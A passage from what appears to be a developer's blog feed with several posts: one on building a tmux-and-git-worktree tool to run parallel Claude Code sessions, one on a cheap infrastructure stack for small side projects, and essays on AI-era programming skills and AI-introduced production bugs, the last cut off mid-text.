The One-Session Bottleneck Here’s the thing about Claude Code: it’s incredible at focused work. Give it a well-defined task, point it at the right files, and it’ll churn through code faster than you can review it.</description><content:encoded>&lt;![CDATA[<p>I have a confession.</p><p>I’ve been running multiple Claude Code sessions manually. Like some kind of air traffic controller using Post-it notes.</p><p>Terminal 1: auth refactor.</p><p>Terminal 2: API pagination.</p><p>Terminal 3: that bug I said I’d fix last week.</p><p>Tab. Check. Tab. Check. Tab. “Wait, which one was working on the tests?”</p><p>Nobody should have to live like that.</p><h1 id="the-one-session-bottleneck"><strong>The One-Session Bottleneck</strong></h1><p>Here’s the thing about Claude Code: it’s incredible at focused work. Give it a well-defined task, point it at the right files, and it’ll churn through code faster than you can review it.</p><p>But “focused” is doing a lot of heavy lifting there.</p><p>One session means one task. One context. One thread of execution. While Claude is refactoring your auth system, it’s not touching your API. While it’s writing tests, it’s not fixing that bug.</p><p>You, meanwhile, are the bottleneck. The dispatcher. The human scheduler running<code>tmux attach -t session-3</code> forty times a day.</p><p>I tried to solve this the obvious way: more sessions. Three terminals. Four. At one point, six.</p><p>My M2 Mac doesn’t have fans. It just gets warm and sad. The UI started lagging. Keystrokes took a second to register. Activity Monitor looked like a stock chart during a crash.</p><h1 id="i-tried-gastown"><strong>I Tried Gastown</strong></h1><p>Steve Yegge built<a href="https://github.com/steveyegge/gastown" rel="external nofollow noopener" class="lnp-link">Gastown</a> - a full agent orchestration system. Polecats, refineries, convoys, molecules, mayors, witnesses, deacons. It’s ambitious. It’s thorough.</p><p>I wanted to love it.</p><p>I really did.</p><p>I spent a week trying to wrap my head around the abstraction layers. Rigs containing polecats containing worktrees. Routes pointing to mayors pointing to beads. Molecules with formulas that become protomolecules that become digests.</p><p>Then I spawned 6 polecats for 6 well-groomed tasks.</p><p>My system hung. Not “slow” hung. “Is this thing even on?” hung.</p><p>Turns out each polecat is a full Claude session. Six sessions competing for API calls, memory, and CPU cycles. The parallelism I wanted was theoretical. The system thrashing was very, very real.</p><p>The core issue? Gastown is a coordination layer, not an executor. You still manually<code>gt sling</code> each task. There’s no “run these 6 serially while I do other things.” The dispatcher is still you.</p><p>I’m not knocking it. The persistence model is solid - sessions can crash and recover context. The beads integration works. The architecture is thoughtful.</p><p>But for my brain, the complexity-to-benefit ratio didn’t compute. I needed something simpler.</p><h1 id="whats-actually-non-negotiable"><strong>What’s Actually Non-Negotiable</strong></h1><p>After a month of manual orchestration and a week of Gastown experimentation, I’ve landed on what actually matters:</p><h2 id="1-beads-integration"><strong>1. Beads Integration</strong></h2><p>This isn’t optional.<a href="https://github.com/anthropics/beads" rel="external nofollow noopener" class="lnp-link">Beads</a> is how I track work - git-backed issues with dependencies, labels, and full history. Every task is a bead. Every worker needs to know which bead it’s working on.</p><p>No beads, no deal.</p><h2 id="2-worktree-isolation"><strong>2. Worktree Isolation</strong></h2><p>Each worker gets its own git worktree. Not a branch. A worktree.</p><p>Why? Because when Worker A is refactoring auth and Worker B is adding pagination, they cannot be stepping on each other’s files. Worktrees give you physical isolation - separate directories, separate working states, zero merge conflicts during work.</p><p>When they’re done, you merge. Not before.</p><h2 id="3-reliable-prompt-delivery"><strong>3. Reliable Prompt Delivery</strong></h2><p>This one took me a while to figure out.</p><p>You spawn a session. You send it a prompt. Simple, right?</p><p>Except tmux<code>send-keys</code> doesn’t care if Claude is ready. It just blasts text into the pane. If Claude hasn’t fully initialized, your prompt arrives before there’s anything to receive it.</p><p>The fix: detect when Claude is actually running (not just a shell), wait for UI initialization, then send with proper debouncing and retry logic.</p><p>Sounds obvious in retrospect. Cost me hours of “why isn’t this working?”</p><h2 id="4-visual-monitoring-without-babysitting"><strong>4. Visual Monitoring Without Babysitting</strong></h2><p>I need to see what’s happening across all workers. But I don’t want to tab through terminals.</p><p>A dashboard. Live status. Which worker is active, which is idle, which is stuck. One glance, full picture.</p><p>And critically: switching to a worker shouldn’t kill the dashboard. The monitoring should keep running while I’m working.</p><figure><a href="https://substackcdn.com/image/fetch/$s_!jI6t!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fc7f38d-cf20-454b-9b45-e1371ea4c532_1902x1003.png" class="image-link image2 is-viewable-img" target="_blank" data-component-name="Image2ToDOM"/><img src="https://substack-post-media.s3.amazonaws.com/public/images/7fc7f38d-cf20-454b-9b45-e1371ea4c532_1902x1003.png" class="sizing-normal" data-attrs='{"src":"https://substack-post-media.s3.amazonaws.com/public/images/7fc7f38d-cf20-454b-9b45-e1371ea4c532_1902x1003.png","srcNoWatermark":null,"fullscreen":null,"imageSize":null,"height":768,"width":1456,"resizeWidth":null,"bytes":191377,"alt":null,"title":null,"type":"image/png","href":null,"belowTheFold":true,"topImage":false,"internalRedirect":"https://lakshminp.substack.com/i/185158137?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fc7f38d-cf20-454b-9b45-e1371ea4c532_1902x1003.png","isProcessing":false,"align":null,"offset":false}' srcset="https://substackcdn.com/image/fetch/$s_!jI6t!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fc7f38d-cf20-454b-9b45-e1371ea4c532_1902x1003.png 424w, https://substackcdn.com/image/fetch/$s_!jI6t!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fc7f38d-cf20-454b-9b45-e1371ea4c532_1902x1003.png 848w, https://substackcdn.com/image/fetch/$s_!jI6t!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fc7f38d-cf20-454b-9b45-e1371ea4c532_1902x1003.png 1272w, https://substackcdn.com/image/fetch/$s_!jI6t!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fc7f38d-cf20-454b-9b45-e1371ea4c532_1902x1003.png 1456w" sizes="100vw" loading="lazy" width="1456" height="768"/><img src="data:image/svg+xml;base64,PHN2ZyByb2xlPSJpbWciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgdmlld2JveD0iMCAwIDIwIDIwIiBmaWxsPSJub25lIiBzdHJva2Utd2lkdGg9IjEuNSIgc3Ryb2tlPSJ2YXIoLS1jb2xvci1mZy1wcmltYXJ5KSIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxnPjx0aXRsZT48L3RpdGxlPjxwYXRoIGQ9Ik0yLjUzMDAxIDcuODE1OTVDMy40OTE3OSA0LjczOTExIDYuNDMyODEgMi41IDkuOTExNzMgMi41QzEzLjE2ODQgMi41IDE1Ljk1MzcgNC40NjIxNCAxNy4wODUyIDcuMjM2ODRMMTcuNjE3OSA4LjY3NjQ3TTE3LjYxNzkgOC42NzY0N0wxOC41MDAyIDQuMjY0NzFNMTcuNjE3OSA4LjY3NjQ3TDEzLjY0NzMgNi45MTE3Nk0xNy40OTk1IDEyLjE4NDFDMTYuNTM3OCAxNS4yNjA5IDEzLjU5NjcgMTcuNSAxMC4xMTc4IDE3LjVDNi44NjExOCAxNy41IDQuMDc1ODkgMTUuNTM3OSAyLjk0NDMyIDEyLjc2MzJMMi40MTE2NSAxMS4zMjM1TTIuNDExNjUgMTEuMzIzNUwxLjUyOTMgMTUuNzM1M00yLjQxMTY1IDExLjMyMzVMNi4zODIyNCAxMy4wODgyIiAvPjwvZz48L3N2Zz4="/><img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgdmlld2JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9ImN1cnJlbnRDb2xvciIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLW1heGltaXplMiBsdWNpZGUtbWF4aW1pemUtMiI+PHBvbHlsaW5lIHBvaW50cz0iMTUgMyAyMSAzIDIxIDkiPjwvcG9seWxpbmU+PHBvbHlsaW5lIHBvaW50cz0iOSAyMSAzIDIxIDMgMTUiPjwvcG9seWxpbmU+PGxpbmUgeDE9IjIxIiB4Mj0iMTQiIHkxPSIzIiB5Mj0iMTAiPjwvbGluZT48bGluZSB4MT0iMyIgeDI9IjEwIiB5MT0iMjEiIHkyPSIxNCI+PC9saW5lPjwvc3ZnPg==" class="lucide lucide-maximize2 lucide-maximize-2"/></figure><p><em>Early wt screenshot with wt watch on the side.</em></p><p><code>wt watch</code><em>- All workers, one glance. No tab-switching required.</em></p><h2 id="5-simplicity"><strong>5. Simplicity</strong></h2><p>One binary. Tmux (which I already use). Beads (which I already use). Git worktrees (which are just git).</p><p>No mayors. No deacons. No protomolecules. No routing tables pointing to other routing tables.</p><p>If I can’t explain the mental model in 30 seconds, it’s too complex.</p><h1 id="so-im-building-it"><strong>So I’m Building It</strong></h1><p>It’s called<code>wt</code> (worktree). The core workflow:</p><p>Grooming is sacred. I run dedicated Claude Code sessions where I don’t write code - I think out loud. “We need pagination on this API. The auth middleware is getting messy, let’s refactor it. Oh, and that bug from last week.”</p><p>Claude helps me turn those thoughts into beads. Sets priorities. Adds dependencies. The interaction is conversational, not CLI gymnastics.</p><pre><code>me: "let's break down the user dashboard feature"
claude: [creates 4 beads with dependencies, P1 for the data layer, P2 for the rest]
me: "the caching one blocks the others"
claude: [adds dependency links]</code></pre><p>The better the grooming, the more autonomous the workers can be. Then execution is just:</p><pre><code>wt ready # What's unblocked?
wt new proj-123 # Spawn a worker
wt hub # Watch them work</code></pre><p>But it grew legs. Session lifecycle (<code>wt done</code>,<code>wt abandon</code>,<code>wt signal</code>). History and resumption (<code>wt seance</code> - yes, you can talk to dead sessions). Autonomous batch mode (<code>wt auto</code>). Context handoff (<code>wt handoff</code>,<code>wt prime</code>).</p><figure><a href="https://substackcdn.com/image/fetch/$s_!DHzi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cfd87f7-a762-4b1f-927c-c4bd5410fdf2_841x240.png" class="image-link image2" target="_blank" data-component-name="Image2ToDOM"/><img src="https://substack-post-media.s3.amazonaws.com/public/images/2cfd87f7-a762-4b1f-927c-c4bd5410fdf2_841x240.png" class="sizing-normal" data-attrs='{"src":"https://substack-post-media.s3.amazonaws.com/public/images/2cfd87f7-a762-4b1f-927c-c4bd5410fdf2_841x240.png","srcNoWatermark":null,"fullscreen":null,"imageSize":null,"height":240,"width":841,"resizeWidth":null,"bytes":34251,"alt":null,"title":null,"type":"image/png","href":null,"belowTheFold":true,"topImage":false,"internalRedirect":"https://lakshminp.substack.com/i/185158137?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cfd87f7-a762-4b1f-927c-c4bd5410fdf2_841x240.png","isProcessing":false,"align":null,"offset":false}' srcset="https://substackcdn.com/image/fetch/$s_!DHzi!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cfd87f7-a762-4b1f-927c-c4bd5410fdf2_841x240.png 424w, https://substackcdn.com/image/fetch/$s_!DHzi!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cfd87f7-a762-4b1f-927c-c4bd5410fdf2_841x240.png 848w, https://substackcdn.com/image/fetch/$s_!DHzi!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cfd87f7-a762-4b1f-927c-c4bd5410fdf2_841x240.png 1272w, https://substackcdn.com/image/fetch/$s_!DHzi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cfd87f7-a762-4b1f-927c-c4bd5410fdf2_841x240.png 1456w" sizes="100vw" loading="lazy" width="841" height="240"/></figure><p><em>wt project list showing registered projects with their paths and bead counts. wt itself is built using wt, I know, so meta.</em></p><p><em>Multiple projects, one tool. Each with its own beads, worktrees, and workers.</em></p><p>The commands multiplied, but the mental model stayed simple: projects contain beads, beads spawn workers, workers live in worktrees, hub watches everything.</p><p><strong>Next post:</strong> I’ll walk through the architecture - why tmux, why worktrees, and the surprisingly tricky problem of “how do you know when Claude is ready to receive input?”</p>
]]></content:encoded></item><item><title>The $30/Year Stack for Launching Small Bets</title><link>https://lakshminp.com/2026/01/30-dollar-saas-stack/</link><pubDate>Mon, 19 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/30-dollar-saas-stack/</guid><category>essays</category><category>saas</category><category>kubernetes</category><description>Every time I launch a new small bet, I need the same boring stuff: professional email, a chat widget, uptime monitoring. The kind of infrastructure that’s completely unsexy but makes you look like you have your act together.
For years, I overcomplicated this. Custom SMTP servers. Self-hosted monitoring. Elaborate setups that took days to configure and broke whenever I looked at them wrong.
Then I realized something: I was spending more time on infrastructure than on validating whether anyone wanted my product.</description><content:encoded>&lt;![CDATA[<p>Every time I launch a new small bet, I need the same boring stuff: professional email, a chat widget, uptime monitoring. The kind of infrastructure that’s completely unsexy but makes you look like you have your act together.</p><p>For years, I overcomplicated this. Custom SMTP servers. Self-hosted monitoring. Elaborate setups that took days to configure and broke whenever I looked at them wrong.</p><p>Then I realized something: I was spending more time on infrastructure than on validating whether anyone wanted my product.</p><p>So I built a repeatable stack. Total cost: about $30-42 per year, per small bet. Here’s the whole thing.</p><h2 id="domain--hosting-cloudflare-free"><strong>Domain &amp; Hosting: Cloudflare (Free)</strong></h2><p>Buy your domain wherever you want, but point the nameservers to Cloudflare immediately.</p><p>Cloudflare’s free tier is absurd:</p><ul><li><p>DNS management (fast, reliable)</p></li><li><p>Free SSL certificates (automatic)</p></li><li><p>DDoS protection</p></li><li><p>CDN caching</p></li><li><p>Cloudflare Pages (unlimited sites, unlimited bandwidth)</p></li></ul><p>That last one is key. Your landing page goes on Cloudflare Pages. Connect your repo, push to main, it deploys. No servers. No bills. No thinking about infrastructure when you should be thinking about whether anyone wants your product.</p><p>I run every small bet’s landing page on CF Pages. Zero hosting cost.</p><h2 id="email-google-workspace-the-india-pricing-hack"><strong>Email: Google Workspace (The India Pricing Hack)</strong></h2><p>You want professional email.<code>hello@yourdomain.com</code>, not<code>yourdomain.help@gmail.com</code> like some kind of digital nomad running a dropshipping scam.</p><p>Google Workspace direct pricing: $6/month. Painful when you’re running multiple bets.</p><p>Google Workspace through an Indian reseller: Rs.125/month. That’s roughly $1.50.</p><p>Same product. Same Gmail experience. Same everything. Just&hellip; cheaper, because regional pricing exists and Google apparently forgot to close this loophole.</p><p>Recommended resellers: Medha Cloud, Host IT Smart, Shivaami. They’re authorized, they’re legit, and they’ll save you $50+/year per domain.</p><p>Setup takes 30 minutes: verify domain, add MX records, configure SPF/DKIM/DMARC so your emails don’t land in spam. Done.</p><h2 id="support-crisp-chat-free"><strong>Support: Crisp Chat (Free)</strong></h2><p>Intercom wants $74/month. For a small bet that might make $0.</p><p>Crisp’s free tier gives you:</p><ul><li><p>2 team seats (it’s just you anyway)</p></li><li><p>Unlimited conversations</p></li><li><p>Mobile app for notifications</p></li><li><p>A widget that doesn’t look like it was designed in 2008</p></li></ul><p>Copy-paste their script tag into your landing page. Five minutes.</p><p>Upgrade trigger: when you have so many support conversations that you need automation. Which means you have customers. Which means you can afford to pay for things.</p><h2 id="monitoring-betterstack-free"><strong>Monitoring: BetterStack (Free)</strong></h2><p>Your app will go down at 3am on a Sunday. This is not a prediction, it’s a guarantee.</p><p>BetterStack’s free tier:</p><ul><li><p>10 uptime monitors</p></li><li><p>1GB logs/month</p></li><li><p>Email and Slack alerts</p></li><li><p>3-day log retention</p></li></ul><p>Is 3-day retention enough? For a small bet you’re validating? Yes. You’re not running a bank.</p><p>Alternative: Axiom gives you 500GB ingest and 30-day retention if you’re logging more aggressively. Also free.</p><h2 id="error-tracking-sentry-free"><strong>Error Tracking: Sentry (Free)</strong></h2><p>Your code will throw exceptions in production that never happened locally. Classic.</p><p>Sentry’s free tier:</p><ul><li><p>5K errors/month</p></li><li><p>10K performance transactions</p></li><li><p>1 user</p></li><li><p>90-day retention</p></li></ul><p>For a small bet, 5K errors/month is plenty. If you’re hitting that limit, either your app is broken or you have enough users to pay for it.</p><h2 id="database-supabase-free-tier-or-self-hosted"><strong>Database: Supabase (Free Tier or Self-Hosted)</strong></h2><p>Every small bet needs a database. Supabase’s free tier is genuinely useful:</p><ul><li><p>500MB database</p></li><li><p>1GB file storage</p></li><li><p>50K monthly active users</p></li><li><p>Unlimited API requests</p></li></ul><p>That’s enough to validate most ideas. The catch: you get 2 free projects total. After that, it’s $25/month per project.</p><p>For small bets that graduate to real products, I self-host Supabase on a $6/month Hetzner VPS. Full Postgres, auth, storage, realtime — no project limits, no usage caps. (I’m building a service called<a href="https://supabyoi.com/" rel="external nofollow noopener" class="lnp-link">Supabyoi</a> to make this dead simple. More on that soon.)</p><h2 id="the-complete-stack"><strong>The Complete Stack</strong></h2><ul><li><p><strong>Domain</strong> — ~$10-15/year</p></li><li><p><strong>Cloudflare (DNS + Pages)</strong> — Free</p></li><li><p><strong>Google Workspace (India)</strong> — ~1.50/month( 1.50/<em>month</em>( 18/year)</p></li><li><p><strong>Crisp</strong> — Free</p></li><li><p><strong>BetterStack</strong> — Free</p></li><li><p><strong>Sentry</strong> — Free</p></li><li><p><strong>Supabase</strong> — Free</p></li></ul><p><strong>Total: ~1.50/month, 1.50/<em><strong><strong>month</strong></strong></em>, 30-42/year</strong></p><p>That’s DNS, hosting, professional email, live chat, uptime monitoring, error tracking, and a database for less than a single month of most “startup” tools.</p><h2 id="the-rules"><strong>The Rules</strong></h2><p><strong>Don’t upgrade until you have paying customers.</strong> Free tiers exist for validation. Use them.</p><p><strong>Keep the setup identical across bets.</strong> Same tools, same patterns, same DNS records. You should be able to launch a new bet’s infrastructure in an afternoon, not a weekend.</p><p><strong>Resist the urge to self-host.</strong> Yes, you<em>can</em> run your own mail server. You can also perform your own dental surgery. Neither is advisable.</p><h2 id="when-to-actually-upgrade"><strong>When To Actually Upgrade</strong></h2><ul><li><p><strong>Google Workspace</strong> — You need &gt;30GB storage → $7/mo</p></li><li><p><strong>Crisp</strong> — You need chatbots or &gt;2 team members → $25/mo</p></li><li><p><strong>BetterStack</strong> — You’re pushing &gt;1GB logs/month → $24/mo</p></li><li><p><strong>Sentry</strong> — You’re hitting 5K errors/month → $26/mo</p></li><li><p><strong>Supabase</strong> — You need &gt;2 projects or more storage → $25/mo (or self-host)</p></li></ul><p>Notice a pattern? These are all “you have real traction” problems. Good problems to have.</p><h2 id="whats-not-covered-yet"><strong>What’s Not Covered (Yet)</strong></h2><p>This is the skeleton — the basic infrastructure every small bet needs from day one.</p><p>I’ll cover these in separate posts:</p><ul><li><p><strong>Tech stack choices</strong> (frameworks, languages, deployment)</p></li><li><p><strong>Payment processing</strong> (Stripe, Lemon Squeezy, regional considerations)</p></li><li><p><strong>CI/CD pipelines</strong> (GitHub Actions, deployment automation)</p></li><li><p><strong>Landing page patterns</strong> (what actually converts)</p></li></ul><p>One thing at a time.</p><h2 id="the-point"><strong>The Point</strong></h2><p>Infrastructure should be invisible. It should cost almost nothing while you’re validating. It should scale up only when you have revenue to pay for it.</p><p>$30/year per bet means you can run 10 small bets for less than most people pay for a single Notion subscription.</p><p>Stop building infrastructure. Start shipping products.</p><p><em>This is part of my “Deploy” series — simple infrastructure patterns for solo operators who’d rather build products than manage servers.</em></p>
]]></content:encoded></item><item><title>90% of Programming Skills Just Got Commoditized. The Other 10% Is Worth 1000X More.</title><link>https://lakshminp.com/2026/01/programming-skills-commoditized/</link><pubDate>Thu, 15 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/programming-skills-commoditized/</guid><category>essays</category><category>ai-coding</category><category>craft</category><description>Andrej Karpathy recently wrote something that’s been rattling around my head:
“I’ve never felt this much behind as a programmer. The profession is being dramatically refactored as the bits contributed by the programmer are increasingly sparse and between. I have a sense that I could be 10X more powerful if I just properly string together what has become available over the last year and a failure to claim the boost feels decidedly like skill issue.”</description><content:encoded>&lt;![CDATA[<p>Andrej Karpathy recently<a href="https://x.com/karpathy/status/2004607146781278521" rel="external nofollow noopener" class="lnp-link">wrote something</a> that’s been rattling around my head:</p><blockquote><p>“I’ve never felt this much behind as a programmer. The profession is being dramatically refactored as the bits contributed by the programmer are increasingly sparse and between. I have a sense that I could be 10X more powerful if I just properly string together what has become available over the last year and a failure to claim the boost feels decidedly like skill issue.”</p></blockquote><p>He then listed what this new layer looks like: agents, subagents, prompts, contexts, memory, modes, permissions, tools, plugins, skills, hooks, MCP, LSP, slash commands, workflows, IDE integrations.</p><p>His conclusion: “Clearly some powerful alien tool was handed around except it comes with no manual and everyone has to figure out how to hold it and operate it, while the resulting magnitude 9 earthquake is rocking the profession.”</p><p>I felt this in my bones.</p><h2 id="the-old-stack-vs-the-new-stack"><strong>The Old Stack vs The New Stack</strong></h2><p>The old programming stack was hard enough:</p><p>Hardware -&gt; OS -&gt; Language -&gt; Frameworks -&gt; Your Code</p><p>Years of learning. Layers of abstraction. But at least it was<em>deterministic</em>. At least there were manuals. At least Stack Overflow had answers.</p><p>The new stack adds a layer on top:</p><p>You -&gt; Prompts/Agents/Context/Memory/Tools/Modes -&gt; Code</p><p>This layer is fundamentally different. It’s stochastic. It’s fallible. It’s unintelligible. And it changes every few weeks.</p><p>There’s no certification. There’s no textbook. There’s no “Effective AI Orchestration” by Joshua Bloch. Just a bunch of people figuring it out in Discord servers and sharing CLAUDE.md files and best practices like trading cards.</p><h2 id="the-divide-is-already-here"><strong>The Divide Is Already Here</strong></h2><p>Someone on Reddit<a href="https://reddit.com/r/ClaudeAI/comments/1lquetd/the_claude_code_divide_those_who_know_vs_those/" rel="external nofollow noopener" class="lnp-link">described the pattern</a> they’re seeing on their team:</p><blockquote><p>“Two developers with similar experience working on similar tasks, but one consistently ships features in hours while the other is still debugging. At first I thought it was just luck or skill differences. Then I realized what was actually happening — it’s their instruction library.”</p></blockquote><p>They’re watching an underground collection of power users share workflows like secrets:</p><ul><li><p>Commands that automatically debug entire codebases</p></li><li><p>CLAUDE.md files that turn Claude into domain experts</p></li><li><p>Slash commands that turn 45-minute processes into 2-minute ones</p></li></ul><p>Meanwhile, most people are still typing “help me fix this bug” and wondering why their results suck.</p><p>As one developer put it: “The differences between someone who opens up CC for the first time and someone with tuned md files is beyond night and day.”</p><h2 id="the-skill-issue-is-real-but-not-the-one-you-think"><strong>The Skill Issue Is Real (But Not The One You Think)</strong></h2><p>Here’s what hit me about Karpathy’s framing: he called it a “skill issue.”</p><p>Not a tools issue. Not an access issue. Not a funding issue.</p><p>A<em>skill</em> issue.</p><p>The 10X boost exists. The leverage is real. But claiming it requires mastering something that didn’t exist two years ago and has no curriculum.</p><p>Someone in that same thread nailed the uncomfortable truth: “90% of traditional programming skills are becoming commoditized while the remaining 10% becomes worth 1000x more. That 10% isn’t coding — it’s knowing how to architect AI workflows.”</p><p>The irony is brutal. We spent years mastering syntax, frameworks, design patterns. Now an AI can generate all of that in seconds. What it<em>can’t</em> do is orchestrate itself effectively. That’s your job now.</p><h2 id="what-the-new-layer-actually-looks-like"><strong>What The New Layer Actually Looks Like</strong></h2><p>Let me make this concrete. Here’s what I’ve had to learn in the past year that wasn’t part of any CS curriculum:</p><p><strong>CLAUDE.md Architecture</strong></p><p>Your instructions file isn’t documentation. It’s programming. The structure, the phrasing, what you include vs exclude — these decisions compound across every interaction. A well-architected CLAUDE.md is worth more than a well-architected codebase.</p><p><strong>Context Management</strong></p><p>Every token matters. MCP servers eat context. Long conversations drift. You need to think about what Claude knows, what it’s forgotten, when to compact, when to start fresh. It’s memory management, but for a mind that isn’t yours.</p><p><strong>Prompt Design</strong></p><p>Not “prompt engineering” in the LinkedIn-influencer sense. Actual design. When do you give examples? When do you constrain? When do you let it explore? How do you phrase things so it doesn’t hallucinate? How do you trigger deeper thinking? These are learnable skills with massive payoff differences.</p><p><strong>Tool Orchestration</strong></p><p>MCP, skills, hooks, slash commands. Which tool for which job? When does an MCP server make sense vs a bash script vs a skill file? How do you chain them? How do you debug when the chain breaks?</p><p><strong>Mode Awareness</strong></p><p>Plan mode vs implement mode. When to let Claude explore vs when to constrain. When to use subagents. When to go linear. The<em>meta</em> of working with AI — knowing when to switch approaches — is itself a skill.</p><p><strong>Verification Choreography</strong></p><p>AI generates fast. Verification is the bottleneck. How do you structure your workflow so you’re not just rubber-stamping garbage? How do you catch the 8 production bombs before they ship? (Yes,<a href="https://lakshminp.substack.com/p/what-claude-cant-do-for-you" rel="external nofollow noopener" class="lnp-link">I wrote about this</a>.)</p><h2 id="the-manual-that-doesnt-exist"><strong>The Manual That Doesn’t Exist</strong></h2><p>An older developer on Reddit<a href="https://reddit.com/r/ClaudeAI/comments/1lquetd/the_claude_code_divide_those_who_know_vs_those/" rel="external nofollow noopener" class="lnp-link">captured the frustration</a>:</p><blockquote><p>“I started using AI about 2 years ago. I thought I was doing good, but then I started seeing all this stuff about MCP servers, md files etc and I am kind of lost. I want to learn more and I want to improve my AI skills but it’s difficult for me.”</p></blockquote><p>This is someone with decades of experience, feeling lost because the new layer has no onramp.</p><p>The manual doesn’t exist because the platform keeps shifting. Claude Code ships updates weekly. New features appear. Old patterns stop working. The MCP ecosystem is exploding. Skills just launched. Hooks changed. The ground won’t stop moving.</p><p>You can’t study for an earthquake. You can only practice surfing.</p><h2 id="how-im-learning-imperfectly"><strong>How I’m Learning (Imperfectly)</strong></h2><p>I don’t have this figured out. Nobody does. But here’s what’s working:</p><p><strong>Steal shamelessly</strong>. Find people who are clearly more productive and reverse-engineer their setup. Their CLAUDE.md files, their slash commands, their workflows. GitHub repos, Discord servers, Reddit threads. The good stuff is scattered but findable.</p><p><strong>Treat your setup as code</strong>. Version control your CLAUDE.md. Iterate on your slash commands. When something works, document why. When something fails, autopsy it. Your instruction library is a codebase now.</p><p><strong>Invest in meta-skills</strong>. The specific tools will change. MCP might get replaced. Claude Code might get competition. But the meta-skills — context management, prompt design, verification choreography — those transfer.</p><p><strong>Actually use the new features</strong>. Hooks exist. Subagents exist. Skills exist. Most people ignore them because they’re “advanced.” They’re not advanced. They’re just new. The learning curve is the moat.</p><p><strong>Teach to learn</strong>. Writing about this forces me to understand it. Explaining my setup to others reveals the gaps. The best way to master the new layer is to articulate it.</p><h2 id="the-uncomfortable-conclusion"><strong>The Uncomfortable Conclusion</strong></h2><p>Karpathy is right. There’s a 10X boost available. Failing to claim it is a skill issue.</p><p>But it’s a<em>new</em> skill. One that didn’t exist before. One that has no manual, no certification, no clear path.</p><p>The people figuring it out are building compound advantages. Every custom command, every refined CLAUDE.md pattern, every workflow optimization — it all stacks. The gap between those who master the new layer and those who don’t is widening fast.</p><p>The earthquake is still happening. The alien tool is still being figured out. The manual is being written in real-time by the people using it. And the rules are being changed as we speak/code/write.</p><p>Roll up your sleeves.</p><p><em>This is a companion to my previous essay on<a href="https://lakshminp.substack.com/p/claude-code-is-incredible-it-also" rel="external nofollow noopener" class="lnp-link">what Claude can’t do for you</a>. That one covered the old skills that still matter. This one covers the new skills you need to add.</em></p>
]]></content:encoded></item><item><title>Claude Code Is Incredible. It Also Almost Shipped 8 Production Bombs Last Week.</title><link>https://lakshminp.com/2026/01/claude-code-production-bombs/</link><pubDate>Mon, 12 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/claude-code-production-bombs/</guid><category>essays</category><category>claude-code</category><description>What 15 years of production scars are still good for Last week I caught eight bugs across three projects. Not typos. Not missing semicolons. Real, ship-breaking, production-melting problems that would have sailed right past code review and into the waiting arms of actual users.
Claude Code wrote the code. Claude Code passed the tests. Claude Code would have happily deployed it.
And Claude Code had no idea anything was wrong.</description><content:encoded>&lt;![CDATA[<h2 id="what-15-years-of-production-scars-are-still-good-for"><strong>What 15 years of production scars are still good for</strong></h2><p>Last week I caught eight bugs across three projects. Not typos. Not missing semicolons. Real, ship-breaking, production-melting problems that would have sailed right past code review and into the waiting arms of actual users.</p><p>Claude Code wrote the code. Claude Code passed the tests. Claude Code would have happily deployed it.</p><p>And Claude Code had no idea anything was wrong.</p><p>I’ve written about<a href="https://lakshminp.substack.com/p/the-invisible-tax-you-pay-when-you" rel="external nofollow noopener" class="lnp-link">comprehension debt</a> and argued that<a href="https://lakshminp.substack.com/p/clean-code-is-dead-long-live-clean" rel="external nofollow noopener" class="lnp-link">clean code is dead</a>. But here’s the uncomfortable third act: even if you understand your specs perfectly and verify your outcomes ruthlessly, there’s a whole category of knowledge that AI simply doesn’t have.</p><p>Call it production intuition. Call it battle scars. Call it “I’ve been burned by this exact thing before.”</p><p>Whatever you call it, you can’t prompt your way into it.</p><h3 id="the-localhost-delusion"><strong>The Localhost Delusion</strong></h3><p>Here’s what AI is optimized for: making code that works on your machine, right 